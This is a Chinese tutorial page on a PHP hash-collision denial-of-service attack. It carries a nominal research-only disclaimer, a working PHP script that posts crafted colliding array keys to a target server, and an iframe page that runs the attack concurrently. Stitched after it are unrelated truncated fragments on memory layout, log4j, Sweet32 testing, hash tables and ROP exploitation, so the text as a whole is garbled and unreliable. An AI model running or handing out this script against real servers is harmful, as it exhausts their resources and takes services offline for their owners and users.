本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:
首先声明:本文内容只用于研究学习使用,请勿用于非法行为!
前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。
攻击原理:
通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。
文件:dos.php
// 目标地址 // 只要目标地址存在,不用管它是干嘛的 $host = 'http://127.0.0.1/test.php'; $data = ''; $size = pow(2, 15); for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size) { $data .= '&array[' . $key . ']=0'; } $ret = curl($host, ltrim($data,'&')); var_dump($ret); function curl($url, $post, $timeout = 30){ $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $output = curl_exec($ch); if ($output === false) return false; $info = curl_getinfo($ch); $http_code = $info['http_code']; if ($http_code == 404) return false; curl_close($ch); return $output; }
文件:ddos.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>DDOS</title> </head> <body> <?php for($i=0; $i<5; $i++){//并发数 echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; } ?> </body> </html>
希望本文所述对大家的php程序设计有所帮助。
1 内存 这个讲义的“区域”(Area)和“段”(Segment)与多数教程正好相反,译文中已更正。 在 PC 架构中,程序中有四个基本读写段:栈、数据、BSS 和堆。数据、BSS 以及堆区可统称为“数据区域”。在“内存布局和栈”的教程中,Peter Jay Salzman 详细描述了内存布局。 栈:栈通常在内存的高地址。通常“向下增长”:从高地址到低地址。无论何时进行函数调用,栈都会使用。 数据
我目前的项目完全与大量Spring Boot容器对接。它们中的大多数都是使用log4j2(对于java8,小于2.7)版本构建的。如何充分证明来自JNDI攻击CVE-2021-45105的应用程序? 我知道最好的解决方案是用log4j版本重建这些容器,但这需要时间和预算。 但是,如果我使用下面的命令,在docker compose级别为每个容器禁用查找功能,它能工作吗? “JVM_EXTRA_OP
远程攻击者可以通过针对长时间加密会话的生日攻击获得明文数据。 在终端中,可以执行以下命令来测试tomcat是否容易受到Sweet32生日攻击。以下openssl命令可用于进行手动测试: openSSL s_client-connect localhost:8543-cipher“des:3des”-tls12 openSSL s_client-connect localhost:8543-ciph
本文向大家介绍Hash表处理冲突的方法相关面试题,主要包含被问及Hash表处理冲突的方法时的应答技巧和注意事项,需要的朋友参考一下 参考回答: 开放定址法 为产生冲突的地址求得一个地址序列(),其中。其中m为表的长度,而增量有三种取值方法,线性探测再散列,平方探测再散列,随即探测再散列。 链地址法 将所有Hash地址相同的记录都链接在同一链表中 再Hash法 同时构造多个不同的Hash函数,当产生
在该部分内容中,我们继续可利用漏洞的本地应用检查之路,并关注使用返回导向编程(ROP)来达到此目的。ROP是在代码结尾的返回指令中整合现有可执行片段的过程。通过创建这些“玩意儿”地址链可以在不引入任何新代码的情况下写新程序。 记住,在可利用程序的漏洞识别方法上你需要灵活应变。有时候有必要在漏洞利用开发过程中对一个漏洞多次利用。有时,你可能仅想用ROP来让你的shellcode执行,其他情况下,你可
二进制的漏洞利用是破坏编译程序的过程,令程序违反自身的可信边界从而有利于你——攻击者。本部分中我们将聚焦于内存错误。通过利用漏洞来制造软件内存错误,我们可以用某种方式重写恶意程序静态数据,从而提升特定程序的权限(像远程桌面服务器)或通过劫持控制流完成任意操作和运行我们所用的代码。 如果你尝试在已编译的C程序中找bug,知晓你要找的东西是很重要的。从认识你发送的数据被程序用在什么地方开始,如果你的数